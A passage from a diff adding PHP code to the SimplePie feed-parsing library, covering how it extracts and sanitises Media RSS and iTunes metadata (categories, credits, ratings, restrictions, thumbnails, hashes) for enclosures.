+			{
+				$term = null;
+				$scheme = 'http://www.itunes.com/dtds/podcast-1.0.dtd';
+				$label = null;
+				if (isset($category['attribs']['']['text']))
+				{
+					$label = $this->sanitize($category['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label));
+
+				if (isset($category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category']))
+				{
+					foreach ((array) $category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category'] as $subcategory)
+					{
+						if (isset($subcategory['attribs']['']['text']))
+						{
+							$label = $this->sanitize($subcategory['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						$categories_parent[] = $this->registry->create('Category', array($term, $scheme, $label));
+					}
+				}
+			}
+			if (is_array($categories_parent))
+			{
+				$categories_parent = array_values(array_unique($categories_parent));
+			}
+
+			// COPYRIGHT
+			if ($copyright = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright'))
+			{
+				$copyright_url = null;
+				$copyright_label = null;
+				if (isset($copyright[0]['attribs']['']['url']))
+				{
+					$copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				if (isset($copyright[0]['data']))
+				{
+					$copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$copyrights_parent = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
+			}
+			elseif ($copyright = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright'))
+			{
+				$copyright_url = null;
+				$copyright_label = null;
+				if (isset($copyright[0]['attribs']['']['url']))
+				{
+					$copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				if (isset($copyright[0]['data']))
+				{
+					$copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$copyrights_parent = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
+			}
+
+			// CREDITS
+			if ($credits = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit'))
+			{
+				foreach ($credits as $credit)
+				{
+					$credit_role = null;
+					$credit_scheme = null;
+					$credit_name = null;
+					if (isset($credit['attribs']['']['role']))
+					{
+						$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($credit['attribs']['']['scheme']))
+					{
+						$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$credit_scheme = 'urn:ebu';
+					}
+					if (isset($credit['data']))
+					{
+						$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$credits_parent[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
+				}
+			}
+			elseif ($credits = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit'))
+			{
+				foreach ($credits as $credit)
+				{
+					$credit_role = null;
+					$credit_scheme = null;
+					$credit_name = null;
+					if (isset($credit['attribs']['']['role']))
+					{
+						$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($credit['attribs']['']['scheme']))
+					{
+						$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$credit_scheme = 'urn:ebu';
+					}
+					if (isset($credit['data']))
+					{
+						$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$credits_parent[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
+				}
+			}
+			if (is_array($credits_parent))
+			{
+				$credits_parent = array_values(array_unique($credits_parent));
+			}
+
+			// DESCRIPTION
+			if ($description_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description'))
+			{
+				if (isset($description_parent[0]['data']))
+				{
+					$description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+			}
+			elseif ($description_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description'))
+			{
+				if (isset($description_parent[0]['data']))
+				{
+					$description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+			}
+
+			// DURATION
+			if ($duration_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'duration'))
+			{
+				$seconds = null;
+				$minutes = null;
+				$hours = null;
+				if (isset($duration_parent[0]['data']))
+				{
+					$temp = explode(':', $this->sanitize($duration_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					if (sizeof($temp) > 0)
+					{
+						$seconds = (int) array_pop($temp);
+					}
+					if (sizeof($temp) > 0)
+					{
+						$minutes = (int) array_pop($temp);
+						$seconds += $minutes * 60;
+					}
+					if (sizeof($temp) > 0)
+					{
+						$hours = (int) array_pop($temp);
+						$seconds += $hours * 3600;
+					}
+					unset($temp);
+					$duration_parent = $seconds;
+				}
+			}
+
+			// HASHES
+			if ($hashes_iterator = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash'))
+			{
+				foreach ($hashes_iterator as $hash)
+				{
+					$value = null;
+					$algo = null;
+					if (isset($hash['data']))
+					{
+						$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($hash['attribs']['']['algo']))
+					{
+						$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$algo = 'md5';
+					}
+					$hashes_parent[] = $algo.':'.$value;
+				}
+			}
+			elseif ($hashes_iterator = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash'))
+			{
+				foreach ($hashes_iterator as $hash)
+				{
+					$value = null;
+					$algo = null;
+					if (isset($hash['data']))
+					{
+						$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($hash['attribs']['']['algo']))
+					{
+						$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$algo = 'md5';
+					}
+					$hashes_parent[] = $algo.':'.$value;
+				}
+			}
+			if (is_array($hashes_parent))
+			{
+				$hashes_parent = array_values(array_unique($hashes_parent));
+			}
+
+			// KEYWORDS
+			if ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords'))
+			{
+				if (isset($keywords[0]['data']))
+				{
+					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					foreach ($temp as $word)
+					{
+						$keywords_parent[] = trim($word);
+					}
+				}
+				unset($temp);
+			}
+			elseif ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords'))
+			{
+				if (isset($keywords[0]['data']))
+				{
+					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					foreach ($temp as $word)
+					{
+						$keywords_parent[] = trim($word);
+					}
+				}
+				unset($temp);
+			}
+			elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords'))
+			{
+				if (isset($keywords[0]['data']))
+				{
+					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					foreach ($temp as $word)
+					{
+						$keywords_parent[] = trim($word);
+					}
+				}
+				unset($temp);
+			}
+			elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords'))
+			{
+				if (isset($keywords[0]['data']))
+				{
+					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					foreach ($temp as $word)
+					{
+						$keywords_parent[] = trim($word);
+					}
+				}
+				unset($temp);
+			}
+			if (is_array($keywords_parent))
+			{
+				$keywords_parent = array_values(array_unique($keywords_parent));
+			}
+
+			// PLAYER
+			if ($player_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player'))
+			{
+				if (isset($player_parent[0]['attribs']['']['url']))
+				{
+					$player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+				}
+			}
+			elseif ($player_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player'))
+			{
+				if (isset($player_parent[0]['attribs']['']['url']))
+				{
+					$player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+				}
+			}
+
+			// RATINGS
+			if ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating'))
+			{
+				foreach ($ratings as $rating)
+				{
+					$rating_scheme = null;
+					$rating_value = null;
+					if (isset($rating['attribs']['']['scheme']))
+					{
+						$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$rating_scheme = 'urn:simple';
+					}
+					if (isset($rating['data']))
+					{
+						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
+				}
+			}
+			elseif ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit'))
+			{
+				foreach ($ratings as $rating)
+				{
+					$rating_scheme = 'urn:itunes';
+					$rating_value = null;
+					if (isset($rating['data']))
+					{
+						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
+				}
+			}
+			elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating'))
+			{
+				foreach ($ratings as $rating)
+				{
+					$rating_scheme = null;
+					$rating_value = null;
+					if (isset($rating['attribs']['']['scheme']))
+					{
+						$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$rating_scheme = 'urn:simple';
+					}
+					if (isset($rating['data']))
+					{
+						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
+				}
+			}
+			elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit'))
+			{
+				foreach ($ratings as $rating)
+				{
+					$rating_scheme = 'urn:itunes';
+					$rating_value = null;
+					if (isset($rating['data']))
+					{
+						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
+				}
+			}
+			if (is_array($ratings_parent))
+			{
+				$ratings_parent = array_values(array_unique($ratings_parent));
+			}
+
+			// RESTRICTIONS
+			if ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction'))
+			{
+				foreach ($restrictions as $restriction)
+				{
+					$restriction_relationship = null;
+					$restriction_type = null;
+					$restriction_value = null;
+					if (isset($restriction['attribs']['']['relationship']))
+					{
+						$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($restriction['attribs']['']['type']))
+					{
+						$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($restriction['data']))
+					{
+						$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
+				}
+			}
+			elseif ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block'))
+			{
+				foreach ($restrictions as $restriction)
+				{
+					$restriction_relationship = 'allow';
+					$restriction_type = null;
+					$restriction_value = 'itunes';
+					if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes')
+					{
+						$restriction_relationship = 'deny';
+					}
+					$restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
+				}
+			}
+			elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction'))
+			{
+				foreach ($restrictions as $restriction)
+				{
+					$restriction_relationship = null;
+					$restriction_type = null;
+					$restriction_value = null;
+					if (isset($restriction['attribs']['']['relationship']))
+					{
+						$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($restriction['attribs']['']['type']))
+					{
+						$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($restriction['data']))
+					{
+						$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
+				}
+			}
+			elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block'))
+			{
+				foreach ($restrictions as $restriction)
+				{
+					$restriction_relationship = 'allow';
+					$restriction_type = null;
+					$restriction_value = 'itunes';
+					if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes')
+					{
+						$restriction_relationship = 'deny';
+					}
+					$restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
+				}
+			}
+			if (is_array($restrictions_parent))
+			{
+				$restrictions_parent = array_values(array_unique($restrictions_parent));
+			}
+			else
+			{
+				$restrictions_parent = array(new SimplePie_Restriction('allow', null, 'default'));
+			}
+
+			// THUMBNAILS
+			if ($thumbnails = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail'))
+			{
+				foreach ($thumbnails as $thumbnail)
+				{
+					if (isset($thumbnail['attribs']['']['url']))
+					{
+						$thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+					}
+				}
+			}
+			elseif ($thumbnails = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail'))
+			{
+				foreach ($thumbnails as $thumbnail)
+				{
+					if (isset($thumbnail['attribs']['']['url']))
+					{
+						$thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+					}
+				}
+			}
+
+			// TITLES
+			if ($title_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title'))
+			{
+				if (isset($title_parent[0]['data']))
+				{
+					$title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+			}
+			elseif ($title_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title'))
+			{
+				if (isset($title_parent[0]['data']))
+				{
+					$title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+			}
+
+			// Clear the memory
+			unset($parent);
+
+			// Attributes
+			$bitrate = null;
+			$channels = null;
+			$duration = null;
+			$expression = null;
+			$framerate = null;
+			$height = null;
+			$javascript = null;
+			$lang = null;
+			$length = null;
+			$medium = null;
+			$samplingrate = null;
+			$type = null;
+			$url = null;
+			$width = null;
+
+			// Elements
+			$captions = null;
+			$categories = null;
+			$copyrights = null;
+			$credits = null;
+			$description = null;
+			$hashes = null;
+			$keywords = null;
+			$player = null;
+			$ratings = null;
+			$restrictions = null;
+			$thumbnails = null;
+			$title = null;
+
+			// If we have media:group tags, loop through them.
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'group') as $group)
+			{
+				if(isset($group['child']) && isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content']))
+				{
+					// If we have media:content tags, loop through them.
+					foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content)
+					{
+						if (isset($content['attribs']['']['url']))
+						{
+							// Attributes
+							$bitrate = null;
+							$channels = null;
+							$duration = null;
+							$expression = null;
+							$framerate = null;
+							$height = null;
+							$javascript = null;
+							$lang = null;
+							$length = null;
+							$medium = null;
+							$samplingrate = null;
+							$type = null;
+							$url = null;
+							$width = null;
+
+							// Elements
+							$captions = null;
+							$categories = null;
+							$copyrights = null;
+							$credits = null;
+							$description = null;
+							$hashes = null;
+							$keywords = null;
+							$player = null;
+							$ratings = null;
+							$restrictions = null;
+							$thumbnails = null;
+							$title = null;
+
+							// Start checking the attributes of media:content
+							if (isset($content['attribs']['']['bitrate']))
+							{
+								$bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['channels']))
+							{
+								$channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['duration']))
+							{
+								$duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							else
+							{
+								$duration = $duration_parent;
+							}
+							if (isset($content['attribs']['']['expression']))
+							{
+								$expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['framerate']))
+							{
+								$framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['height']))
+							{
+								$height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['lang']))
+							{
+								$lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['fileSize']))
+							{
+								$length = ceil($content['attribs']['']['fileSize']);
+							}
+							if (isset($content['attribs']['']['medium']))
+							{
+								$medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['samplingrate']))
+							{
+								$samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['type']))
+							{
+								$type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['width']))
+							{
+								$width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							$url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+
+							// Checking the other optional media: elements. Priority: media:content, media:group, item, channel
+
+							// CAPTIONS
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
+							{
+								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
+								{
+									$caption_type = null;
+									$caption_lang = null;
+									$caption_startTime = null;
+									$caption_endTime = null;
+									$caption_text = null;
+									if (isset($caption['attribs']['']['type']))
+									{
+										$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($caption['attribs']['']['lang']))
+									{
+										$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($caption['attribs']['']['start']))
+									{
+										$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($caption['attribs']['']['end']))
+									{
+										$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($caption['data']))
+									{
+										$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
+								}
+								if (is_array($captions))
+								{
+									$captions = array_values(array_unique($captions));
+								}
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
+							{
+								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
+								{
+									$caption_type = null;
+									$caption_lang = null;
+									$caption_startTime = null;
+									$caption_endTime = null;
+									$caption_text = null;
+									if (isset($caption['attribs']['']['type']))
+									{
+										$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($caption['attribs']['']['lang']))
+									{
+										$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($caption['attribs']['']['start']))
+									{
+										$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($caption['attribs']['']['end']))
+									{
+										$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($caption['data']))
+									{
+										$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
+								}
+								if (is_array($captions))
+								{
+									$captions = array_values(array_unique($captions));
+								}
+							}
+							else
+							{
+								$captions = $captions_parent;
+							}
+
+							// CATEGORIES
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
+							{
+								foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
+								{
+									$term = null;
+									$scheme = null;
+									$label = null;
+									if (isset($category['data']))
+									{
+										$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($category['attribs']['']['scheme']))
+									{
+										$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									else
+									{
+										$scheme = 'http://search.yahoo.com/mrss/category_schema';
+									}
+									if (isset($category['attribs']['']['label']))
+									{
+										$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
+								}
+							}
+							if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
+							{
+								foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
+								{
+									$term = null;
+									$scheme = null;
+									$label = null;
+									if (isset($category['data']))
+									{
+										$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($category['attribs']['']['scheme']))
+									{
+										$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									else
+									{
+										$scheme = 'http://search.yahoo.com/mrss/category_schema';
+									}
+									if (isset($category['attribs']['']['label']))
+									{
+										$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
+								}
+							}
+							if (is_array($categories) && is_array($categories_parent))
+							{
+								$categories = array_values(array_unique(array_merge($categories, $categories_parent)));
+							}
+							elseif (is_array($categories))
+							{
+								$categories = array_values(array_unique($categories));
+							}
+							elseif (is_array($categories_parent))
+							{
+								$categories = array_values(array_unique($categories_parent));
+							}
+
+							// COPYRIGHTS
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
+							{
+								$copyright_url = null;
+								$copyright_label = null;
+								if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
+								{
+									$copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
+								{
+									$copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
+							{
+								$copyright_url = null;
+								$copyright_label = null;
+								if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
+								{
+									$copyright_url = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
+								{
+									$copyright_label = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
+							}
+							else
+							{
+								$copyrights = $copyrights_parent;
+							}
+
+							// CREDITS
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
+							{
+								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
+								{
+									$credit_role = null;
+									$credit_scheme = null;
+									$credit_name = null;
+									if (isset($credit['attribs']['']['role']))
+									{
+										$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($credit['attribs']['']['scheme']))
+									{
+										$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									else
+									{
+										$credit_scheme = 'urn:ebu';
+									}
+									if (isset($credit['data']))
+									{
+										$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
+								}
+								if (is_array($credits))
+								{
+									$credits = array_values(array_unique($credits));
+								}
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
+							{
+								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
+								{
+									$credit_role = null;
+									$credit_scheme = null;
+									$credit_name = null;
+									if (isset($credit['attribs']['']['role']))
+									{
+										$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($credit['attribs']['']['scheme']))
+									{
+										$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									else
+									{
+										$credit_scheme = 'urn:ebu';
+									}
+									if (isset($credit['data']))
+									{
+										$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
+								}
+								if (is_array($credits))
+								{
+									$credits = array_values(array_unique($credits));
+								}
+							}
+							else
+							{
+								$credits = $credits_parent;
+							}
+
+							// DESCRIPTION
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
+							{
+								$description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
+							{
+								$description = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							else
+							{
+								$description = $description_parent;
+							}
+
+							// HASHES
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
+							{
+								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
+								{
+									$value = null;
+									$algo = null;
+									if (isset($hash['data']))
+									{
+										$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($hash['attribs']['']['algo']))
+									{
+										$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									else
+									{
+										$algo = 'md5';
+									}
+									$hashes[] = $algo.':'.$value;
+								}
+								if (is_array($hashes))
+								{
+									$hashes = array_values(array_unique($hashes));
+								}
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
+							{
+								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
+								{
+									$value = null;
+									$algo = null;
+									if (isset($hash['data']))
+									{
+										$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($hash['attribs']['']['algo']))
+									{
+										$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									else
+									{
+										$algo = 'md5';
+									}
+									$hashes[] = $algo.':'.$value;
+								}
